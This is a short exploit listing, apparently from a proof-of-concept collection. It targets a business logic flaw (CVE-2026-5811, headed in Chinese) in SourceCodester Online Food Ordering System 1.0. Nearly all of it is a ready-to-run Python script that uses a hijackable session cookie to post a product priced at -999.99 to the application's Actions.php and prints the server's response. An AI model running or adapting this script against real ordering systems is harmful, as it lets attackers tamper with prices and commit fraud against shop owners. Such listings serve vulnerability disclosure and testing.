CVE-2026-5811 SourceCodester订餐系统业务逻辑漏洞

# Exploit Title: SourceCodester Online Food Ordering System 1.0 - Business Logic Error (Negative Price) # Date: 2026-04-08 # Reference: https://github.com/meifukun/Web-Security-PoCs import requests def exploit(target_url, session_id): headers = { "Cookie": f"PHPSESSID={session_id}", "Content-Type": "application/x-www-form-urlencoded" } # Payload data manipulating the price parameter payload = { "save_product": "true", "product_name": "Malicious Product", "price": -999.99, # Setting negative price to trigger business logic error "description": "Exploit" } response = requests.post(f"{target_url}/Actions.php", data=payload, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print("[-] Failed to send payload.") if __name__ == "__main__": # Example usage target = "http://example.com" session = "valid_session_id_here" exploit(target, session)